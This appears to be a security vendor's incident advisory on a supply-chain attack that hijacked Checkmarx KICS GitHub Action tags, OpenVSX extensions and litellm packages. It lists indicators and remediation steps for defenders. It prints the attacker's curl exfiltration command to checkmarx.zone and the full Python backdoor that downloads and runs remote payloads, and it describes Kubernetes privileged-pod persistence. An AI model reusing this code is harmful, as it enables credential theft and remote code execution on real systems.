KICS GitHub Action Compromised: TeamPCP Strikes Again in Supply Chain Attack

Checkmarx KICS scanner is the latest victim of a credential-stealing supply chain attack by TeamPCP. Between 12:58–16:50 UTC on March 23, 35 tags were hijacked. Learn how to audit your workflows, identify malicious activity, and secure your GitHub Actions.

The KICS GitHub Action was compromised with credential-stealing malware by TeamPCP, the same group behind the Trivy attack. KICS is an open source infrastructure as code security scanner by Checkmarx. Between 12:58 and 16:50 UTC on March 23rd, any users of this GitHub Action who were pinning to one of the compromised tags would have been served the malware. The repository was taken down at 16:50 UTC, shortly after a GitHub issue was filed by a user notifying the maintainers of the incident.

The action was available at https://github.com/Checkmarx/kics-github-action prior to takedown.

Update 03/24:

11:30 UTC: The "litellm" packages (versions 1.82.7 and 1.82.8) on PyPI have been trojanized. They contain with the same functionality as the previous operation, but using a new exfiltration domain: models.litellm[.]cloud. The malicious update was published at approximately 8:30 UTC and was been quarantined by PyPI at 11:25 UTC. Wiz customers can see an advisory in the Threat Center.

Updates 03/23:
19:24 UTC:
The repository has been reinstated, and the maintainers state "The issue is resolved now."

22:25 UTC: Sysdig reports that ast-github-action was also impacted. They were limited to observing a single malicious tag 2.3.28 - however based on TeamPCPs tactics, we believe it is likely all tags were impacted.

22:35 UTC: Based on a tip from independent researcher Adnan Khan, Wiz has confirmed that Checkmarx OpenVSX extensions cx-dev-assist 1.7.0 and ast-results 2.53.0 have been compromised. This was concurrently reported by ReversingLabs via tweet. See "OpenVSX Payload" section below for details. We have reported these to OpenVSX for removal.

Update 03/24 9:00 UTC: Checkmarx have published a Security Update addressing the issues with the KICS GitHub action and OpenVSX plugins. They state a resolution time of 15:41 UTC for OpenVSX, however we observed the malicious versions were present at the time of our report. Additionally, while new versions have been pushed, the malicious versions have yet to be removed.

This is the second popular open source security scanner that this group has compromised in the last five days. The operation uses familiar naming conventions and the same RSA public key, allowing Wiz to assess with high confidence that it is the same actor. 

KICS Github Action Payload

The malicious code was injected in the same manner as the Trivy incident:

  1. The attacker staged imposter commits (commits on a fork of the repository) containing their payload: setup.sh and modified the action.yaml file to trigger a “Prepare Environment" event that would run setup.sh.

Malicious action.yaml edit
  1. The attacker then used what appears to be a compromised identity to directly update all 35 tags in the project and point them to those staged commits (tag list below)

setup.sh functions similarly to the secret theft routines employed in the Trivy operation, gathering secrets then encrypting and exfiltrating them. It again attempts to send them to an attacker controlled server, with github repository creation as a backup, but uses a new exfiltration domain, checkmarx.zone (83.142.209.11) and exfiltration repo docs-tpcp. As with the Trivy operation, this malware can drop a python script intended to download and install a follow-on payload. However, this implementation adds a new Kubernetes focused persistence mechanism.

While kics-github-action has ~1% of the visible public usage of trivy-action, it is still broadly adopted publicly and privately as an Infrastructure as Code security scanner.

Github Compromise

The attack appears to have been accomplished via the compromise of the cx-plugins-releases (GitHub ID 225848595) service account, as that is the identity involved in publishing the malicious tags. 

Script Functionality

Initialization, Data Theft, and Exfiltration

The script starts up with the flag set -euo pipefail to ensure it fails silently, then searches for GitHub Actions and generic runners and creates a staging file in /tmp. It then kicks off its credential search which conducts the following hunts:

  • Gathers environmental variables, SSH private/public keys and searches for any files that contain these values.

  • If it detected it is running on a GitHub-hosted runner, it executes a python script to access /proc/[PID]/mem to dump the memory of Runner.Worker and carves JSON objects flagged as secrets via regular expressions

  • A second python script queries AWS instance Metadata endpoints (IMDSv1/v2), crawls common directories (/home, /root, etc) and queries the Kubernetes API if local service account tokens are found.

Any identified secrets are bundled into a collected plaintext file, then encrypted using AES-256-CBC and a random session key (openssl rand 32 > "$_SESSION_KEY"). The session key is then encrypted using the attacker's hardcoded RSA public key. This is the same public key used in the previous operation. Both files are then compressed into tpcp.tar.gz.

The script attempts to exfiltrate them via curl. The HTTP status code is captured to verify success:

_HTTP=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://checkmarx.zone -H "Content-Type: application/octet-stream" -H "X-Filename: tpcp.tar.gz" --data-binary "@${_BUNDLE}" 2>/dev/null || echo "000")

If it doesn’t succeed and the compromised environment contains a GITHUB_TOKEN, the script authenticates to the GitHub API. It programmatically creates a new repository (/docs-tpcp/) within the victim's GitHub account, creates a software "Release", and uploads the stolen encrypted tarball as a Release Asset. The previous campaign used /tpcp-docs

New Kubernetes Based Persistence 

setup.sh attempts to create the ability for a follow-on operation via the same sysmon.py script as in the Trivy operation; however this time a new Kubernetes based method is invoked, in an attempt to survive the deletion of the initial CI container. If the script is run on a Kubernetes container that has sufficient permissions, it will attempt to deploy a highly privileged pod and run sysmon.py within it. If it is run on a standard linux host, it creates hidden directories in the users home folder ~/.config/sysmon and writes the python backdoor there. The backdoor is the same as in the previous version, except it reads from https://checkmarx.zone/raw, rather than the ico address used in the Trivy operation. 

import urllib.request
import os
import subprocess
import time

C_URL = "https://checkmarx[.]zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

Privileged Pod Creation & Malware Instalation

The script checks to see if the file: /var/run/secrets/kubernetes.io/serviceaccount/token exists and if it does, it uses that token to query /api/v1/nodes to gather a list of every underlying physical or virtual server in the cluster and extracts the node_name. 


For each node, the script generates a pod manifest and payload script. The script uses the pod manifest to generate a dynamic name and places a highly privileged pod in the 'namespace':'kube-system. The pod is configured to run the previously generated custom payload script and then quit. In each identified node the payload script installs the sysmon.py backdoor to /root/.config/sysmon/sysmon.py and creates a systemd unit file at /root/.config/systemd/user/sysmon.service to ensure the python script is run.

Pod Setup Code

OpenVSX Payload

Both compromised extensions (ast-results v2.53.0 and cx-dev-assist v1.7.0) contained identical payloads. They were published 12 seconds apart at 12:53 UTC on March 23, 2026, via the ast-phoenix account on Open VSX. The VS Code Marketplace versions appear unaffected.

Payload Execution Flow

  1. On activation of the extension, the new malicious environmentAuthChecker.js is invoked from activateCore.js

  2. This payload first checks if the victim has credentials for at least one cloud provider

Credential Gating within the payload

If any credentials are detected, the second-stage payload is retrieved from the C2: checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz

Retrieval of second stage from C2
  1. The payload attempts execution via npx, bunx, pnpx, or yarn dlx. This covers major JavaScript package managers. The retrieved package contrains a comprehensive credential stealer.

  2. Harvested credentials are then encrpyted, using the keys as elsewhere in this campaign, and exfiltrated to checkmarx[.]zone/vsx as tpcp.tar.gz.

scand() function hunting credentials

On non-CI systems, the malware installs persistence via a systemd user service. The persistence script polls https://checkmarx[.]zone/raw every 50 minutes for additional payloads, with a kill switch that aborts if the response contains "youtube". Currently, the link redirects to The Show Must Go On by Queen.

persist() persistence function

Compromised Artifacts

OpenVSX Extensions

ArtifactSHA256
ast-results-2.53.0.vsix65bd72fcddaf938cefdf55b3323ad29f649a65d4ddd6aea09afa974dfc7f105d
cx-dev-assist-1.7.0.vsix744c9d61b66bcd2bb5474d9afeee6c00bb7e0cd32535781da188b80eb59383e0
checkmarx-util-1.0.4.tgz0d66d8c7e02574ff0d3443de0585af19c903d12466d88573ed82ec788655975c
environmentAuthChecker.js527f795a201a6bc114394c4cfd1c74dce97381989f51a4661aafbc93a4439e90

kics-github-action Releases

The v1.1 release was the only malicious release created. Other releases, triggered automatically by the tag events, failed because those versions already existed.

kics-github-action Tags

TagCommit SHA
v10e22ec8d1e0dda3c62bf4beffcd4a8a5db1abda1
v1.045f3749467a6017cb4fb749054b498d149dd5924
v1.18e20c7a67bb95632e2040327a355fb97e6014d29
v1.293de85c910d859b759cf9185aa78d5a23a4b7000
v1.30e7343ba084735863db92b6f8ba2fa9dee604f7c
v1.42dc0fa613f6f4c15f26ad98225ad253475681616
v1.5f00191dd3352c0cd83c6cce4e6bf04b628214dd0
v1.6e0359b1a253ee66c8018586c3225e6e9cd2d8a4f
v1.6.1dc6dbf358998c0c64da83edc8fcd581c12656b19
v1.6.208b9ea97eb292d5e1f9ac2d8e21c0ba32f0fdff0
v1.6.3005fb0837553de722f8bf11d98e905dbdde19861
v1.7.0a5471d37c656ecd4560e8e0b3977910f27025618
v23d49875ed47c6b8b4c8b50e0421418cf6b9f35f4
v2.0.0121c38fb49c9fc82160245fb6e2a9119db636e4d
v2.1.01e9eeaba37fe0032deba133f598e74dab0ceb3b7
v2.1.1c5c07508527fc6a125855eebfb533e64f675bd8e
v2.1.2c999dbb9cc904e23675f9929f7e0e51d132879cf
v2.1.34ebf62dd8ff318412b38d19841fc3c8650e294bf
v2.1.43ae9f0d6f8139964635d411149f9b3e0a6eb935e
v2.1.596a0e8eb31c3cce6c495c9a49dd49c881cd17934
v2.1.631fbf5831a2e52429738fdc0cbaa20e57872b6fc
v2.1.7fca3a20afcb8ec7f9932c060a236d2a9021fdd2b
v2.1.80f81f132f9f09bb4976d403914a44a1a1eb6158d
v2.1.9c0e23718a5074f3b8ad286f37b532e02057af35f
v2.1.10d66f0657133bc42f8264458063999bf1910490db
v2.1.11e35c9d6a5faffc1c5b3450d0bf09006aa9b9e906
v2.1.122eee333d70fb6e14ce1d4aa73f12058bc5d70193
v2.1.13f9641eb512f5c6530d13275903e8a97baf0925f1
v2.1.14e8754eebc822b5122e96a6142b28dbc0e179c91c
v2.1.1569b3f020390222a9fcb6029ba56533b2fb12f103
v2.1.16db942a0dd7e9d1aeac72bc675bdb67f39a688b63
v2.1.17208813bf5feca5df9a935363cd426bc914614d0b
v2.1.183fdeadb81fbeddc1453163cc87bc173911fd47e2
v2.1.19310734c0ffd29438f6195a24e2cbbacfdc33c9ab
v2.1.20b974e53df1e3a2cd22ea90f0ec01882394feede4

Which actions should security teams take?

  1. Audit KICS GitHub Actions references: Review workflows using kics-github-action. If you referenced a version tag rather than a SHA, check workflow run logs from the exposure window for signs of compromise.

  2. Search for exfiltration artifacts: Look for repositories named docs-tpcp in your GitHub organization, which may indicate successful exfiltration via the fallback mechanism.

Long-term hardening: Refer to Wiz's How to Harden GitHub Actions: The Unofficial Guide

How can Wiz help?

Wiz customers should continue to monitor the advisory in the Wiz Threat Center for ongoing guidance, pre-built queries, and references to relevant detections they can use to assess the risk  in their environment.

Worried you’ve been impacted? Connect with the Wiz Incident Response team.

続きを読む

パーソナライズされたデモを見る

実際に Wiz を見てみませんか?​

"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
デビッド・エストリックCISO (最高情報責任者)
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
アダム・フレッチャーチーフ・セキュリティ・オフィサー
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"
グレッグ・ポニャトフスキ脅威および脆弱性管理責任者